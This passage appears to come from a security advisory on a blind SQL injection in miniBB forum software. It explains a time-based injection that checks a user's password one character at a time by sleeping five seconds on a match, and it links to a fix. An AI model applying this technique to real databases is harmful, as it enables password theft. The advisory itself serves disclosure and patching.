This SQL will check if first password character user ID=1 is ?c?.
|
||||||
|
|
||||||
|
If yes, it will sleep 5 seconds.
|
||||||
|
|
||||||
|
3. Solution:
|
||||||
|
|
||||||
|
http://www.minibb.com/forums/news-9/blind-sql-injection-fix-6430.html
|
Loading…
Add table
Reference in a new issue